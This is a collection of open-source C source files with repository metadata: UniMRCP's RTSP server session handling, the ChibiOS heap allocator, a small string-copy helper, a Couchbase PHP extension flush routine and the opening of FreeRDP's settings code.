TRUE; } } if(server->vtable->handle_message(server,session,message) != TRUE) { apt_log(RTSP_LOG_MARK,APT_PRIO_WARNING,"Failed to Handle Message " APT_SID_FMT,session->id.buf); rtsp_server_error_respond(server,session->connection,message, RTSP_STATUS_CODE_INTERNAL_SERVER_ERROR, RTSP_REASON_PHRASE_INTERNAL_SERVER_ERROR); return FALSE; } return TRUE; } /* Process incoming SETUP/DESCRIBE request */ static rtsp_server_session_t* rtsp_server_session_setup_process(rtsp_server_t *server, rtsp_server_connection_t *rtsp_connection, rtsp_message_t *message) { /* create new session */ rtsp_server_session_t *session = rtsp_server_session_create(server); if(!session) { return NULL; } session->connection = rtsp_connection; apt_log(RTSP_LOG_MARK,APT_PRIO_INFO,"Add RTSP Session " APT_SID_FMT,session->id.buf); apr_hash_set(rtsp_connection->session_table,session->id.buf,session->id.length,session); return session; } /* Process incoming RTSP request */ static apt_bool_t rtsp_server_session_request_process(rtsp_server_t *server, rtsp_server_connection_t *rtsp_connection, rtsp_message_t *message) { rtsp_server_session_t *session = NULL; if(message->start_line.message_type != RTSP_MESSAGE_TYPE_REQUEST) { /* received response to ANNOUNCE request/event */ return TRUE; } if(rtsp_header_property_check(&message->header,RTSP_HEADER_FIELD_SESSION_ID) != TRUE) { /* no session-id specified */ if(message->start_line.common.request_line.method_id == RTSP_METHOD_SETUP || message->start_line.common.request_line.method_id == RTSP_METHOD_DESCRIBE) { if(server->online == FALSE) { apt_log(RTSP_LOG_MARK,APT_PRIO_WARNING,"Cannot Establish RTSP Session in Offline Mode"); return rtsp_server_error_respond(server,rtsp_connection,message, RTSP_STATUS_CODE_SERVICE_UNAVAILABLE, RTSP_REASON_PHRASE_SERVICE_UNAVAILABLE); } session = rtsp_server_session_setup_process(server,rtsp_connection,message); } else if(message->start_line.common.request_line.method_id == RTSP_METHOD_OPTIONS) { /* respond with OK to OPTIONS request */ rtsp_message_t *response = rtsp_response_create(message,RTSP_STATUS_CODE_OK,RTSP_REASON_PHRASE_OK,message->pool); if(rtsp_server_message_send(server,rtsp_connection,response) == FALSE) { apt_log(RTSP_LOG_MARK,APT_PRIO_WARNING,"Failed to Send RTSP Response"); return FALSE; } return TRUE; } else { /* error case */ apt_log(RTSP_LOG_MARK,APT_PRIO_WARNING,"Missing RTSP Session-ID"); return rtsp_server_error_respond(server,rtsp_connection,message, RTSP_STATUS_CODE_BAD_REQUEST, RTSP_REASON_PHRASE_BAD_REQUEST); } if(session) { session->active_request = message; if(rtsp_server_session_message_handle(server,session,message) != TRUE) { rtsp_server_session_destroy(session); } } else { /* error case, failed to create a session */ apt_log(RTSP_LOG_MARK,APT_PRIO_WARNING,"Failed to Create RTSP Session"); return rtsp_server_error_respond(server,rtsp_connection,message, RTSP_STATUS_CODE_NOT_ACCEPTABLE, RTSP_REASON_PHRASE_NOT_ACCEPTABLE); } return TRUE; } /* existing session */ session = apr_hash_get( rtsp_connection->session_table, message->header.session_id.buf, message->header.session_id.length); if(!session) { /* error case, no such session */ apt_log(RTSP_LOG_MARK,APT_PRIO_WARNING,"No Such RTSP Session " APT_SID_FMT,message->header.session_id.buf); return rtsp_server_error_respond(server,rtsp_connection,message, RTSP_STATUS_CODE_NOT_FOUND, RTSP_REASON_PHRASE_NOT_FOUND); } if(session->terminating == TRUE) { /* error case, session is being terminated */ apt_log(RTSP_LOG_MARK,APT_PRIO_WARNING,"Not Acceptable Request " APT_SID_FMT,message->header.session_id.buf); return rtsp_server_error_respond(server,rtsp_connection,message, RTSP_STATUS_CODE_NOT_ACCEPTABLE, RTSP_REASON_PHRASE_NOT_ACCEPTABLE); } if(session->active_request) { apt_log(RTSP_LOG_MARK,APT_PRIO_DEBUG,"Push RTSP Request to Queue " APT_SID_FMT,session->id.buf); apt_list_push_back(session->request_queue,message,message->pool); return TRUE; } /* handle the request */ session->active_request = message; rtsp_server_session_message_handle(server,session,message); return TRUE; } /* Process outgoing RTSP response */ static apt_bool_t rtsp_server_session_response_process(rtsp_server_t *server, rtsp_server_session_t *session, rtsp_message_t *message) { apt_bool_t terminate = FALSE; rtsp_message_t *request = NULL; if(message->start_line.message_type == RTSP_MESSAGE_TYPE_REQUEST) { /* RTSP ANNOUNCE request (asynch event) */ const char *resource_name = message->start_line.common.request_line.resource_name; if(resource_name) { request = apr_hash_get(session->resource_table,resource_name,APR_HASH_KEY_STRING); } if(!request) { return FALSE; } message->start_line.common.request_line.url = request->start_line.common.request_line.url; message->header.cseq = session->last_cseq; rtsp_header_property_add(&message->header,RTSP_HEADER_FIELD_CSEQ,message->pool); if(session->id.buf) { message->header.session_id = session->id; rtsp_header_property_add(&message->header,RTSP_HEADER_FIELD_SESSION_ID,message->pool); } rtsp_server_message_send(server,session->connection,message); return TRUE; } if(!session->active_request) { /* unexpected response */ return FALSE; } request = session->active_request; if(request->start_line.common.request_line.method_id == RTSP_METHOD_DESCRIBE) { terminate = TRUE; } else { if(session->id.buf) { message->header.session_id = session->id; rtsp_header_property_add(&message->header,RTSP_HEADER_FIELD_SESSION_ID,message->pool); } if(request->start_line.common.request_line.method_id == RTSP_METHOD_SETUP) { if(message->start_line.common.status_line.status_code == RTSP_STATUS_CODE_OK) { /* add resource */ const char *resource_name = request->start_line.common.request_line.resource_name; apr_hash_set(session->resource_table,resource_name,APR_HASH_KEY_STRING,request); } else if(apr_hash_count(session->resource_table) == 0) { terminate = TRUE; } } } session->last_cseq = message->header.cseq; rtsp_server_message_send(server,session->connection,message); if(terminate == TRUE) { session->active_request = NULL; rtsp_server_session_terminate_request(server,session); return TRUE; } session->active_request = apt_list_pop_front(session->request_queue); if(session->active_request) { rtsp_server_session_message_handle(server,session,session->active_request); } return TRUE; } /* Send RTSP message through RTSP connection */ static apt_bool_t rtsp_server_message_send(rtsp_server_t *server, rtsp_server_connection_t *rtsp_connection, rtsp_message_t *message) { apt_bool_t status = FALSE; apt_text_stream_t *stream; apt_message_status_e result; if(!rtsp_connection || !rtsp_connection->sock) { apt_log(RTSP_LOG_MARK,APT_PRIO_WARNING,"No RTSP Connection"); return FALSE; } stream = &rtsp_connection->tx_stream; do { stream->text.length = sizeof(rtsp_connection->tx_buffer)-1; apt_text_stream_reset(stream); result = rtsp_generator_run(rtsp_connection->generator,message,stream); if(result != APT_MESSAGE_STATUS_INVALID) { stream->text.length = stream->pos - stream->text.buf; *stream->pos = '\0'; apt_log(RTSP_LOG_MARK,APT_PRIO_INFO,"Send RTSP Data %s [%"APR_SIZE_T_FMT" bytes]\n%s", rtsp_connection->id, stream->text.length, stream->text.buf); if(apr_socket_send(rtsp_connection->sock,stream->text.buf,&stream->text.length) == APR_SUCCESS) { status = TRUE; } else { apt_log(RTSP_LOG_MARK,APT_PRIO_WARNING,"Failed to Send RTSP Data"); } } else { apt_log(RTSP_LOG_MARK,APT_PRIO_WARNING,"Failed to Generate RTSP Data"); } } while(result == APT_MESSAGE_STATUS_INCOMPLETE); return status; } static apt_bool_t rtsp_server_message_handler(rtsp_server_connection_t *rtsp_connection, rtsp_message_t *message, apt_message_status_e status) { if(status == APT_MESSAGE_STATUS_COMPLETE) { /* message is completely parsed */ apt_str_t *destination; /* (re)set inactivity timer on every message received */ if(rtsp_connection->inactivity_timer) { apt_timer_set(rtsp_connection->inactivity_timer,rtsp_connection->server->inactivity_timeout); } destination = &message->header.transport.destination; if(!destination->buf && rtsp_connection->client_ip) { apt_string_assign(destination,rtsp_connection->client_ip,rtsp_connection->pool); } rtsp_server_session_request_process(rtsp_connection->server,rtsp_connection,message); } else if(status == APT_MESSAGE_STATUS_INVALID) { /* error case */ rtsp_message_t *response; apt_log(RTSP_LOG_MARK,APT_PRIO_WARNING,"Failed to Parse RTSP Data"); if(message) { response = rtsp_response_create(message,RTSP_STATUS_CODE_BAD_REQUEST, RTSP_REASON_PHRASE_BAD_REQUEST,message->pool); if(rtsp_server_message_send(rtsp_connection->server,rtsp_connection,response) == FALSE) { apt_log(RTSP_LOG_MARK,APT_PRIO_WARNING,"Failed to Send RTSP Response"); } } } return TRUE; } /** Create listening socket and add it to pollset */ static apt_bool_t rtsp_server_listening_socket_create(rtsp_server_t *server) { apr_status_t status; if(!server->sockaddr) { return FALSE; } /* create listening socket */ status = apr_socket_create(&server->listen_sock, server->sockaddr->family, SOCK_STREAM, APR_PROTO_TCP, server->pool); if(status != APR_SUCCESS) { return FALSE; } apr_socket_opt_set(server->listen_sock, APR_SO_NONBLOCK, 0); apr_socket_timeout_set(server->listen_sock, -1); apr_socket_opt_set(server->listen_sock, APR_SO_REUSEADDR, 1); status = apr_socket_bind(server->listen_sock, server->sockaddr); if(status != APR_SUCCESS) { apr_socket_close(server->listen_sock); server->listen_sock = NULL; return FALSE; } status = apr_socket_listen(server->listen_sock, SOMAXCONN); if(status != APR_SUCCESS) { apr_socket_close(server->listen_sock); server->listen_sock = NULL; return FALSE; } /* add listening socket to pollset */ memset(&server->listen_sock_pfd,0,sizeof(apr_pollfd_t)); server->listen_sock_pfd.desc_type = APR_POLL_SOCKET; server->listen_sock_pfd.reqevents = APR_POLLIN; server->listen_sock_pfd.desc.s = server->listen_sock; server->listen_sock_pfd.client_data = server->listen_sock; if(apt_poller_task_descriptor_add(server->task, &server->listen_sock_pfd) != TRUE) { apt_log(RTSP_LOG_MARK,APT_PRIO_WARNING,"Failed to Add RTSP Listening Socket to Pollset"); apr_socket_close(server->listen_sock); server->listen_sock = NULL; return FALSE; } return TRUE; } /** Remove from pollset and destroy listening socket */ static void rtsp_server_listening_socket_destroy(rtsp_server_t *server) { if(server->listen_sock) { apt_poller_task_descriptor_remove(server->task,&server->listen_sock_pfd); apr_socket_close(server->listen_sock); server->listen_sock = NULL; } } /* Accept RTSP connection */ static apt_bool_t rtsp_server_connection_accept(rtsp_server_t *server) { rtsp_server_connection_t *rtsp_connection; char *local_ip = NULL; char *remote_ip = NULL; apr_sockaddr_t *l_sockaddr = NULL; apr_sockaddr_t *r_sockaddr = NULL; apr_pool_t *pool = apt_pool_create(); if(!pool) { return FALSE; } rtsp_connection = apr_palloc(pool,sizeof(rtsp_server_connection_t)); rtsp_connection->pool = pool; rtsp_connection->sock = NULL; rtsp_connection->client_ip = NULL; APR_RING_ELEM_INIT(rtsp_connection,link); if(apr_socket_accept(&rtsp_connection->sock,server->listen_sock,rtsp_connection->pool) != APR_SUCCESS) { apt_log(RTSP_LOG_MARK,APT_PRIO_WARNING,"Failed to Accept RTSP Connection"); apr_pool_destroy(pool); return FALSE; } if(apr_socket_addr_get(&l_sockaddr,APR_LOCAL,rtsp_connection->sock) != APR_SUCCESS || apr_socket_addr_get(&r_sockaddr,APR_REMOTE,rtsp_connection->sock) != APR_SUCCESS) { apt_log(RTSP_LOG_MARK,APT_PRIO_WARNING,"Failed to Get RTSP Socket Address"); apr_pool_destroy(pool); return FALSE; } apr_sockaddr_ip_get(&local_ip,l_sockaddr); apr_sockaddr_ip_get(&remote_ip,r_sockaddr); rtsp_connection->client_ip = remote_ip; rtsp_connection->id = apr_psprintf(pool,"%s:%hu <-> %s:%hu", local_ip,l_sockaddr->port, remote_ip,r_sockaddr->port); memset(&rtsp_connection->sock_pfd,0,sizeof(apr_pollfd_t)); rtsp_connection->sock_pfd.desc_type = APR_POLL_SOCKET; rtsp_connection->sock_pfd.reqevents = APR_POLLIN; rtsp_connection->sock_pfd.desc.s = rtsp_connection->sock; rtsp_connection->sock_pfd.client_data = rtsp_connection; if(apt_poller_task_descriptor_add(server->task,&rtsp_connection->sock_pfd) != TRUE) { apt_log(RTSP_LOG_MARK,APT_PRIO_WARNING,"Failed to Add to Pollset %s",rtsp_connection->id); apr_socket_close(rtsp_connection->sock); apr_pool_destroy(pool); return FALSE; } apt_log(RTSP_LOG_MARK,APT_PRIO_NOTICE,"Accepted RTSP Connection %s",rtsp_connection->id); rtsp_connection->session_table = apr_hash_make(rtsp_connection->pool); apt_text_stream_init(&rtsp_connection->rx_stream,rtsp_connection->rx_buffer,sizeof(rtsp_connection->rx_buffer)-1); apt_text_stream_init(&rtsp_connection->tx_stream,rtsp_connection->tx_buffer,sizeof(rtsp_connection->tx_buffer)-1); rtsp_connection->parser = rtsp_parser_create(rtsp_connection->pool); rtsp_connection->generator = rtsp_generator_create(rtsp_connection->pool); rtsp_connection->server = server; rtsp_connection->inactivity_timer = NULL; if(server->inactivity_timeout) { rtsp_connection->inactivity_timer = apt_poller_task_timer_create( server->task, rtsp_server_inactivity_timer_proc, rtsp_connection, rtsp_connection->pool); } APR_RING_INSERT_TAIL(&server->connection_list,rtsp_connection,rtsp_server_connection_t,link); if(rtsp_connection->inactivity_timer) { apt_timer_set(rtsp_connection->inactivity_timer,server->inactivity_timeout); } return TRUE; } /** Close connection */ static apt_bool_t rtsp_server_connection_close(rtsp_server_t *server, rtsp_server_connection_t *rtsp_connection) { apr_size_t remaining_sessions = 0; if(!rtsp_connection || !rtsp_connection->sock) { return FALSE; } apt_log(RTSP_LOG_MARK,APT_PRIO_INFO,"Close RTSP Connection %s",rtsp_connection->id); apt_poller_task_descriptor_remove(server->task,&rtsp_connection->sock_pfd); apr_socket_close(rtsp_connection->sock); rtsp_connection->sock = NULL; if(rtsp_connection->inactivity_timer) { apt_timer_kill(rtsp_connection->inactivity_timer); } APR_RING_REMOVE(rtsp_connection,link); remaining_sessions = apr_hash_count(rtsp_connection->session_table); if(remaining_sessions) { rtsp_server_session_t *session; void *val; apr_hash_index_t *it; apt_log(RTSP_LOG_MARK,APT_PRIO_NOTICE,"Terminate Remaining RTSP Sessions [%"APR_SIZE_T_FMT"]", remaining_sessions); it = apr_hash_first(rtsp_connection->pool,rtsp_connection->session_table); for(; it; it = apr_hash_next(it)) { apr_hash_this(it,NULL,NULL,&val); session = val; if(session) { rtsp_server_session_terminate_request(server,session); } } } else { rtsp_server_connection_destroy(rtsp_connection); } return TRUE; } /* Timer callback */ static void rtsp_server_inactivity_timer_proc(apt_timer_t *timer, void *obj) { rtsp_server_connection_t *rtsp_connection = obj; if(!rtsp_connection) return; if(rtsp_connection->inactivity_timer == timer) { apt_log(RTSP_LOG_MARK,APT_PRIO_WARNING,"RTSP Connection Timed Out %s",rtsp_connection->id); rtsp_server_connection_close(rtsp_connection->server,rtsp_connection); } } /* Receive RTSP message through RTSP connection */ static apt_bool_t rtsp_server_poller_signal_process(void *obj, const apr_pollfd_t *descriptor) { rtsp_server_t *server = obj; rtsp_server_connection_t *rtsp_connection = descriptor->client_data; apr_status_t status; apr_size_t offset; apr_size_t length; apt_text_stream_t *stream; rtsp_message_t *message; apt_message_status_e msg_status; if(descriptor->desc.s == server->listen_sock) { return rtsp_server_connection_accept(server); } if(!rtsp_connection || !rtsp_connection->sock) { return FALSE; } stream = &rtsp_connection->rx_stream; /* calculate offset remaining from the previous receive / if any */ offset = stream->pos - stream->text.buf; /* calculate available length */ length = sizeof(rtsp_connection->rx_buffer) - 1 - offset; status = apr_socket_recv(rtsp_connection->sock,stream->pos,&length); if(status == APR_EOF || length == 0) { apt_log(RTSP_LOG_MARK,APT_PRIO_INFO,"RTSP Peer Disconnected %s",rtsp_connection->id); return rtsp_server_connection_close(server,rtsp_connection); } /* calculate actual length of the stream */ stream->text.length = offset + length; stream->pos[length] = '\0'; apt_log(RTSP_LOG_MARK,APT_PRIO_INFO,"Receive RTSP Data %s [%"APR_SIZE_T_FMT" bytes]\n%s", rtsp_connection->id, length, stream->pos); /* reset pos */ apt_text_stream_reset(stream); do { msg_status = rtsp_parser_run(rtsp_connection->parser,stream,&message); rtsp_server_message_handler(rtsp_connection,message,msg_status); } while(apt_text_is_eos(stream) == FALSE); /* scroll remaining stream */ apt_text_stream_scroll(stream); return TRUE; } static void rtsp_server_on_offline(apt_task_t *task) { apt_poller_task_t *poller_task = apt_task_object_get(task); rtsp_server_t *server = apt_poller_task_object_get(poller_task); server->online = FALSE; } static void rtsp_server_on_online(apt_task_t *task) { apt_poller_task_t *poller_task = apt_task_object_get(task); rtsp_server_t *server = apt_poller_task_object_get(poller_task); server->online = TRUE; } /* Process task message */ static apt_bool_t rtsp_server_task_msg_process(apt_task_t *task, apt_task_msg_t *task_msg) { apt_poller_task_t *poller_task = apt_task_object_get(task); rtsp_server_t *server = apt_poller_task_object_get(poller_task); task_msg_data_t *data = (task_msg_data_t*) task_msg->data; switch(data->type) { case TASK_MSG_SEND_MESSAGE: rtsp_server_session_response_process(server,data->session,data->message); break; case TASK_MSG_TERMINATE_SESSION: rtsp_server_session_do_terminate(server,data->session); break; case TASK_MSG_RELEASE_SESSION: rtsp_server_session_do_release(server,data->session); break; } return TRUE; }
unispeech/unimrcp
libs/uni-rtsp/src/rtsp_server.c
C
apache-2.0
32,441
/* ChibiOS/RT - Copyright (C) 2006,2007,2008,2009,2010, 2011,2012,2013,2014 Giovanni Di Sirio. This file is part of ChibiOS/RT. ChibiOS/RT is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. ChibiOS/RT is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ /** * @file chheap.c * @brief Heaps code. * * @addtogroup heaps * @details Heap Allocator related APIs. * <h2>Operation mode</h2> * The heap allocator implements a first-fit strategy and its APIs * are functionally equivalent to the usual @p malloc() and @p free() * library functions. The main difference is that the OS heap APIs * are guaranteed to be thread safe.<br> * @pre In order to use the heap APIs the @p CH_CFG_USE_HEAP option must * be enabled in @p chconf.h. * @{ */ #include "ch.h" #if CH_CFG_USE_HEAP || defined(__DOXYGEN__) /*===========================================================================*/ /* Module local definitions. */ /*===========================================================================*/ /* * Defaults on the best synchronization mechanism available. */ #if CH_CFG_USE_MUTEXES || defined(__DOXYGEN__) #define H_LOCK(h) chMtxLock(&(h)->h_mtx) #define H_UNLOCK(h) chMtxUnlock(&(h)->h_mtx) #else #define H_LOCK(h) chSemWait(&(h)->h_sem) #define H_UNLOCK(h) chSemSignal(&(h)->h_sem) #endif /*===========================================================================*/ /* Module exported variables. */ /*===========================================================================*/ /*===========================================================================*/ /* Module local types. */ /*===========================================================================*/ /*===========================================================================*/ /* Module local variables. */ /*===========================================================================*/ /** * @brief Default heap descriptor. */ static memory_heap_t default_heap; /*===========================================================================*/ /* Module local functions. */ /*===========================================================================*/ /*===========================================================================*/ /* Module exported functions. */ /*===========================================================================*/ /** * @brief Initializes the default heap. * * @notapi */ void _heap_init(void) { default_heap.h_provider = chCoreAlloc; default_heap.h_free.h.u.next = (union heap_header *)NULL; default_heap.h_free.h.size = 0; #if CH_CFG_USE_MUTEXES || defined(__DOXYGEN__) chMtxObjectInit(&default_heap.h_mtx); #else chSemObjectInit(&default_heap.h_sem, 1); #endif } /** * @brief Initializes a memory heap from a static memory area. * @pre Both the heap buffer base and the heap size must be aligned to * the @p stkalign_t type size. * * @param[out] heapp pointer to the memory heap descriptor to be initialized * @param[in] buf heap buffer base * @param[in] size heap size * * @init */ void chHeapObjectInit(memory_heap_t *heapp, void *buf, size_t size) { union heap_header *hp; chDbgCheck(MEM_IS_ALIGNED(buf) && MEM_IS_ALIGNED(size)); heapp->h_provider = (memgetfunc_t)NULL; heapp->h_free.h.u.next = hp = buf; heapp->h_free.h.size = 0; hp->h.u.next = NULL; hp->h.size = size - sizeof(union heap_header); #if CH_CFG_USE_MUTEXES || defined(__DOXYGEN__) chMtxObjectInit(&heapp->h_mtx); #else chSemObjectInit(&heapp->h_sem, 1); #endif } /** * @brief Allocates a block of memory from the heap by using the first-fit * algorithm. * @details The allocated block is guaranteed to be properly aligned for a * pointer data type (@p stkalign_t). * * @param[in] heapp pointer to a heap descriptor or @p NULL in order to * access the default heap. * @param[in] size the size of the block to be allocated. Note that the * allocated block may be a bit bigger than the requested * size for alignment and fragmentation reasons. * @return A pointer to the allocated block. * @retval NULL if the block cannot be allocated. * * @api */ void *chHeapAlloc(memory_heap_t *heapp, size_t size) { union heap_header *qp, *hp, *fp; if (heapp == NULL) heapp = &default_heap; size = MEM_ALIGN_NEXT(size); qp = &heapp->h_free; H_LOCK(heapp); while (qp->h.u.next != NULL) { hp = qp->h.u.next; if (hp->h.size >= size) { if (hp->h.size < size + sizeof(union heap_header)) { /* Gets the whole block even if it is slightly bigger than the requested size because the fragment would be too small to be useful.*/ qp->h.u.next = hp->h.u.next; } else { /* Block bigger enough, must split it.*/ fp = (void *)((uint8_t *)(hp) + sizeof(union heap_header) + size); fp->h.u.next = hp->h.u.next; fp->h.size = hp->h.size - sizeof(union heap_header) - size; qp->h.u.next = fp; hp->h.size = size; } hp->h.u.heap = heapp; H_UNLOCK(heapp); return (void *)(hp + 1); } qp = hp; } H_UNLOCK(heapp); /* More memory is required, tries to get it from the associated provider else fails.*/ if (heapp->h_provider) { hp = heapp->h_provider(size + sizeof(union heap_header)); if (hp != NULL) { hp->h.u.heap = heapp; hp->h.size = size; hp++; return (void *)hp; } } return NULL; } #define LIMIT(p) (union heap_header *)((uint8_t *)(p) + \ sizeof(union heap_header) + \ (p)->h.size) /** * @brief Frees a previously allocated memory block. * * @param[in] p pointer to the memory block to be freed * * @api */ void chHeapFree(void *p) { union heap_header *qp, *hp; memory_heap_t *heapp; chDbgCheck(p != NULL); hp = (union heap_header *)p - 1; heapp = hp->h.u.heap; qp = &heapp->h_free; H_LOCK(heapp); while (true) { chDbgAssert((hp < qp) || (hp >= LIMIT(qp)), "within free block"); if (((qp == &heapp->h_free) || (hp > qp)) && ((qp->h.u.next == NULL) || (hp < qp->h.u.next))) { /* Insertion after qp.*/ hp->h.u.next = qp->h.u.next; qp->h.u.next = hp; /* Verifies if the newly inserted block should be merged.*/ if (LIMIT(hp) == hp->h.u.next) { /* Merge with the next block.*/ hp->h.size += hp->h.u.next->h.size + sizeof(union heap_header); hp->h.u.next = hp->h.u.next->h.u.next; } if ((LIMIT(qp) == hp)) { /* Merge with the previous block.*/ qp->h.size += hp->h.size + sizeof(union heap_header); qp->h.u.next = hp->h.u.next; } break; } qp = qp->h.u.next; } H_UNLOCK(heapp); return; } /** * @brief Reports the heap status. * @note This function is meant to be used in the test suite, it should * not be really useful for the application code. * * @param[in] heapp pointer to a heap descriptor or @p NULL in order to * access the default heap. * @param[in] sizep pointer to a variable that will receive the total * fragmented free space * @return The number of fragments in the heap. * * @api */ size_t chHeapStatus(memory_heap_t *heapp, size_t *sizep) { union heap_header *qp; size_t n, sz; if (heapp == NULL) heapp = &default_heap; H_LOCK(heapp); sz = 0; for (n = 0, qp = &heapp->h_free; qp->h.u.next; n++, qp = qp->h.u.next) sz += qp->h.u.next->h.size; if (sizep) *sizep = sz; H_UNLOCK(heapp); return n; } #endif /* CH_CFG_USE_HEAP */ /** @} */
roboknight/chibios-lpc43xx
os/rt/src/chheap.c
C
apache-2.0
9,017
char *my_strcpy(char *dest, char *src) { char *adrr; for (adrr = dest; *src; *dest++ = *src++); *dest++ = '\0'; return (adrr); }
Yunori/Fridge-menu
functions/my_strcpy.c
C
apache-2.0
138
/* +----------------------------------------------------------------------+ | PHP Version 5 | +----------------------------------------------------------------------+ | Copyright 2012 Couchbase, Inc. | +----------------------------------------------------------------------+ | Licensed under the Apache License, Version 2.0 (the "License"); | | you may not use this file except in compliance with the License. | | You may obtain a copy of the License at | | http://www.apache.org/licenses/LICENSE-2.0 | | Unless required by applicable law or agreed to in writing, software | | distributed under the License is distributed on an "AS IS" BASIS, | | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or | | implied. See the License for the specific language governing | | permissions and limitations under the License. | +----------------------------------------------------------------------+ */ #include "internal.h" /* @todo This is a copy of the logic used by the cluster management * I should refactor this out so I have a generic http execution * method. */ struct flush_ctx { lcb_error_t error; lcb_http_status_t status; char *payload; }; static void rest_flush_callback(lcb_http_request_t request, lcb_t instance, const void *cookie, lcb_error_t error, const lcb_http_resp_t *resp) { struct flush_ctx *ctx = (void *)cookie; assert(cookie != NULL); ctx->error = error; ctx->payload = NULL; if (resp->version != 0) { /* @todo add an error code I may use */ ctx->error = LCB_NOT_SUPPORTED; } else { ctx->status = resp->v.v0.status; if (resp->v.v0.nbytes != 0) { ctx->payload = emalloc(resp->v.v0.nbytes + 1); if (ctx->payload != NULL) { memcpy(ctx->payload, resp->v.v0.bytes, resp->v.v0.nbytes); ctx->payload[resp->v.v0.nbytes] = '\0'; } } } } static void do_rest_flush(INTERNAL_FUNCTION_PARAMETERS, int oo, php_couchbase_res *res) { struct flush_ctx ctx; lcb_error_t rc; lcb_http_cmd_t cmd; lcb_t instance; char *path; lcb_http_complete_callback old; instance = res->handle; path = ecalloc(strlen(res->bucket) + 80, 1); sprintf(path, "/pools/default/buckets/%s/controller/doFlush", res->bucket); memset(&ctx, 0, sizeof(ctx)); memset(&cmd, 0, sizeof(cmd)); cmd.v.v0.path = path; cmd.v.v0.npath = strlen(path); cmd.v.v0.method = LCB_HTTP_METHOD_POST; cmd.v.v0.content_type = "application/x-www-form-urlencoded"; old = lcb_set_http_complete_callback(instance, rest_flush_callback); rc = lcb_make_http_request(instance, &ctx, LCB_HTTP_TYPE_MANAGEMENT, &cmd, NULL); old = lcb_set_http_complete_callback(instance, old); efree(path); if (rc == LCB_SUCCESS) { rc = ctx.error; } res->rc = rc; if (rc != LCB_SUCCESS) { /* An error occured occurred on libcouchbase level */ if (ctx.payload) { efree(ctx.payload); } couchbase_report_error(INTERNAL_FUNCTION_PARAM_PASSTHRU, oo, cb_lcb_exception, "Failed to flush bucket: %s", lcb_strerror(instance, rc)); return; } switch (ctx.status) { case LCB_HTTP_STATUS_OK: case LCB_HTTP_STATUS_ACCEPTED: efree(ctx.payload); RETURN_TRUE; case LCB_HTTP_STATUS_UNAUTHORIZED: couchbase_report_error(INTERNAL_FUNCTION_PARAM_PASSTHRU, oo, cb_auth_exception, "Incorrect credentials"); break; default: if (ctx.payload == NULL) { couchbase_report_error(INTERNAL_FUNCTION_PARAM_PASSTHRU, oo, cb_server_exception, "{\"errors\":{\"http response\": %d }}", (int)ctx.status); } else { couchbase_report_error(INTERNAL_FUNCTION_PARAM_PASSTHRU, oo, cb_server_exception, ctx.payload); } } if (ctx.payload != NULL) { efree(ctx.payload); } } static void memcached_flush_callback(lcb_t handle, const void *cookie, lcb_error_t error, const lcb_flush_resp_t *resp) { if (error != LCB_SUCCESS) { *((lcb_error_t *)cookie) = error; } } static void do_memcached_flush(INTERNAL_FUNCTION_PARAMETERS, int oo, php_couchbase_res *res) { lcb_error_t retval; lcb_error_t cberr = LCB_SUCCESS; lcb_flush_cmd_t cmd; const lcb_flush_cmd_t *const commands[] = { &cmd }; lcb_t instance; instance = res->handle; memset(&cmd, 0, sizeof(cmd)); lcb_set_flush_callback(instance, memcached_flush_callback); retval = lcb_flush(instance, (const void *)&cberr, 1, commands); if (retval == LCB_SUCCESS) { retval = cberr; } res->rc = retval; if (retval == LCB_SUCCESS) { RETURN_TRUE; } else { char errmsg[256]; sprintf(errmsg, "Failed to flush bucket: %s", lcb_strerror(instance, retval)); couchbase_report_error(INTERNAL_FUNCTION_PARAM_PASSTHRU, oo, cb_lcb_exception, errmsg); } } PHP_COUCHBASE_LOCAL void php_couchbase_flush_impl(INTERNAL_FUNCTION_PARAMETERS, int oo) { php_couchbase_res *res; lcb_t instance; int argflags = oo ? PHP_COUCHBASE_ARG_F_OO : PHP_COUCHBASE_ARG_F_FUNCTIONAL; PHP_COUCHBASE_GET_PARAMS(res, argflags, ""); instance = res->handle; lcb_behavior_set_syncmode(instance, LCB_SYNCHRONOUS); if (COUCHBASE_G(restflush)) { do_rest_flush(INTERNAL_FUNCTION_PARAM_PASSTHRU, oo, res); } else { do_memcached_flush(INTERNAL_FUNCTION_PARAM_PASSTHRU, oo, res); } lcb_behavior_set_syncmode(instance, LCB_ASYNCHRONOUS); } /* * Local variables: * tab-width: 4 * c-basic-offset: 4 * End: * vim600: noet sw=4 ts=4 fdm=marker * vim<600: noet sw=4 ts=4 */
couchbase/php-ext-couchbase
flush.c
C
apache-2.0
5,684
/** * FreeRDP: A Remote Desktop Protocol Implementation * RDP Settings * * Copyright 2009-2011 Jay Sorg * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include "certificate.h" #include "capabilities.h" #ifdef HAVE_UNISTD_H #include <unistd.h> #endif #include <ctype.h> #include <winpr/crt.h> #include <winpr/file.h> #include <winpr/path.h> #include <winpr/sysinfo.h> #include <winpr/registry.h> #include <freerdp/settings.h> #include <freerdp/build-config.h> #include <ctype.h> #ifdef _WIN32 #pragma warning(push) #pragma warning(disable: 4244) #endif static const char client_dll[] = "C:\\Windows\\System32\\mstscax.dll"; #define REG_QUERY_DWORD_VALUE(_key, _subkey, _type, _value, _size, _result) \ _size = sizeof(DWORD); \ if (RegQueryValueEx(_key, _subkey, NULL, &_type, (BYTE*) &_value, &_size) == ERROR_SUCCESS) \ _result = _value #define REG_QUERY_BOOL_VALUE(_key, _subkey, _type, _value, _size, _result) \ _size = sizeof(DWORD); \ if (RegQueryValueEx(_key, _subkey, NULL, &_type, (BYTE*) &_value, &_size) == ERROR_SUCCESS) \ _result = _value ? TRUE : FALSE #define SERVER_KEY "Software\\" FREERDP_VENDOR_STRING "\\" \ FREERDP_PRODUCT_STRING "\\Server" #define CLIENT_KEY "Software\\" 